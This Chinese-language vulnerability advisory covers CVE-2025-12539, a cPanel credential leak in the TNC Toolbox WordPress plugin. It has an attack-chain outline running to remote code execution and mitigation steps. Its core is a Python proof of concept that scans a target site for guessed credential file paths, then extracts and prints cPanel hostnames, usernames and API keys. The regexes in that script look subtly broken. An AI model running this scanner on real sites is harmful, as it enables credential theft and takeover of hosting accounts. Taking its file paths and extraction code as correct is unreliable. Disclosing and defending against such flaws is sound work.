IPBUF安全漏洞报告
English
CVE-2025-12539 CVSS 10.0 严重

CVE-2025-12539 WordPress TNC Toolbox cPanel凭证信息泄露漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12539
漏洞类型
敏感信息泄露
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TNC Toolbox: Web Performance plugin for WordPress

相关标签

CVE-2025-12539WordPress插件漏洞敏感信息泄露cPanel凭证泄露远程代码执行信息泄露TNC Toolbox无认证利用CVSS10.0

漏洞概述

CVE-2025-12539是WordPress平台TNC Toolbox插件中的一个严重安全漏洞。该插件在所有版本直至1.4.2(含)中存在敏感信息暴露问题。漏洞根源在于插件的Tnc_Wp_Toolbox_Settings::save_settings函数在保存设置时,将cPanel API凭证(包括主机名、用户名和API密钥)以不安全的方式存储在web可访问的wp-content目录文件中。由于缺乏适当的访问控制和加密保护,这些敏感的认证凭据可以被未认证的远程攻击者直接访问和窃取。攻击者获取这些cPanel凭证后,可以直接与cPanel API进行交互,从而在托管服务器上执行任意操作,包括文件上传、修改配置,甚至实现远程代码执行,最终导致整个托管环境的完全沦陷。鉴于该漏洞的CVSS评分达到10.0满分,且无需任何认证或用户交互即可利用,属于极其严重的安全风险,建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞的技术根源在于TNC Toolbox插件在实现cPanel集成功能时,错误地将敏感的API凭证存储在Web可访问的目录中。具体问题出在Tnc_Wp_Toolbox_Settings类的save_settings方法中,该方法在处理用户配置保存时,直接将cPanel的主机名(hostname)、用户名(username)和API密钥(api_key)以明文形式写入到wp-content目录下的文件中。wp-content目录通常是Web服务器可读的目录,这意味着任何能够通过HTTP请求访问站点的攻击者都可以直接下载这些包含敏感凭证的文件。由于cPanel API支持多种高权限操作,如文件管理、数据库操作、邮件账户管理等,攻击者获取这些凭证后可以:1)通过cPanel的文件管理器或FTP功能上传恶意文件;2)利用cPanel的Cron功能执行任意命令;3)修改Apache/Nginx配置以实现持久化控制;4)访问托管账户下的所有网站数据。整个攻击过程完全无需任何WordPress认证,攻击者只需知道目标网站地址即可发起攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标WordPress网站,识别是否安装了TNC Toolbox插件及其版本(<1.4.3)
STEP 2
步骤2:凭证文件发现
攻击者尝试访问wp-content目录下的TNC Toolbox配置文件,这些文件以不安全的方式存储cPanel API凭证
STEP 3
步骤3:凭证提取
成功下载配置文件后,攻击者解析文件内容,提取明文存储的cPanel主机名、用户名和API密钥
STEP 4
步骤4:cPanel API认证
使用窃取的凭证,攻击者通过cPanel API进行身份验证,获取完整的API访问权限
STEP 5
步骤5:文件上传攻击
利用cPanel的文件管理器或API接口,上传包含恶意代码的PHP文件到Web根目录
STEP 6
步骤6:远程代码执行
通过访问上传的恶意文件,在服务器上执行任意系统命令,实现远程代码执行
STEP 7
步骤7:环境沦陷
利用服务器权限,攻击者可以修改系统配置、创建后门账户、横向移动至同一托管环境下的其他网站,最终实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-12539 PoC - TNC Toolbox cPanel Credential Disclosure # Target: WordPress site with TNC Toolbox plugin < 1.4.3 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-12539 The plugin stores cPanel credentials in web-accessible wp-content directory """ # Common credential file locations used by TNC Toolbox possible_paths = [ '/wp-content/tnc-toolbox-settings.json', '/wp-content/tnc_toolbox_config.txt', '/wp-content/.tnc_toolbox_credentials', '/wp-content/uploads/tnc_settings.json', '/wp-content/tnc-wp-toolbox-settings.dat' ] vulnerable_files = [] for path in possible_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content = response.text # Check for cPanel credential patterns if any(keyword in content.lower() for keyword in ['cpanel', 'api_key', 'apikey', 'hostname', 'username']): if any(keyword in content for keyword in ['cpanel_host', 'cpanel_user', 'cpanel_api', 'cpsess']): vulnerable_files.append({ 'url': url, 'content': content, 'status': 'VULNERABLE' }) except requests.exceptions.RequestException: continue return vulnerable_files def extract_credentials(file_content): """ Extract cPanel credentials from exposed file """ credentials = {} # Extract hostname host_match = re.search(r'[\"\']?cpanel[_"]?host[name]?[\"\']?\s*[:=]\s*[\"\']([^\"\']+)[\"\']', file_content, re.I) if host_match: credentials['hostname'] = host_match.group(1) # Extract username user_match = re.search(r'[\"\']?cpanel[_"]?user[name]?[\"\']?\s*[:=]\s*[\"\']([^\"\']+)[\"\']', file_content, re.I) if user_match: credentials['username'] = user_match.group(1) # Extract API key apikey_match = re.search(r'[\"\']?cpanel[_"]?api[_"]?key[\"\']?\s*[:=]\s*[\"\']([^\"\']+)[\"\']', file_content, re.I) if apikey_match: credentials['api_key'] = apikey_match.group(1) return credentials def main(): import sys if len(sys.argv) < 2: print("Usage: python cve-2025-12539.py <target_url>") print("Example: python cve-2025-12539.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning target: {target}") print(f"[*] Checking for CVE-2025-12539 vulnerability...\n") results = check_vulnerability(target) if results: print(f"[!] VULNERABLE - Found {len(results)} exposed credential file(s)\n") for idx, result in enumerate(results, 1): print(f"[File {idx}] {result['url']}") creds = extract_credentials(result['content']) if creds: print(" Extracted credentials:") for key, value in creds.items(): print(f" - {key}: {value}") print() else: print("[*] No vulnerable credential files found") if __name__ == '__main__': main() # Note: This PoC is for authorized security testing only # Unauthorized access to computer systems is illegal

影响范围

TNC Toolbox: Web Performance plugin for WordPress <= 1.4.2

防御指南

临时缓解措施
由于该漏洞无需认证即可利用且CVSS评分为满分10.0,建议立即采取以下临时缓解措施:1)如果暂时无法升级插件,可以暂时禁用TNC Toolbox插件或删除插件目录;2)手动删除wp-content目录下所有可能包含cPanel凭证的配置文件;3)立即修改所有通过该插件配置的cPanel账户密码和API密钥;4)检查cPanel账户的API访问日志,确认是否存在未经授权的访问尝试;5)考虑暂时将wp-content目录设置为禁止直接访问,仅允许WordPress核心文件访问;6)联系托管服务商确认服务器安全状态,排查是否存在已被入侵的迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表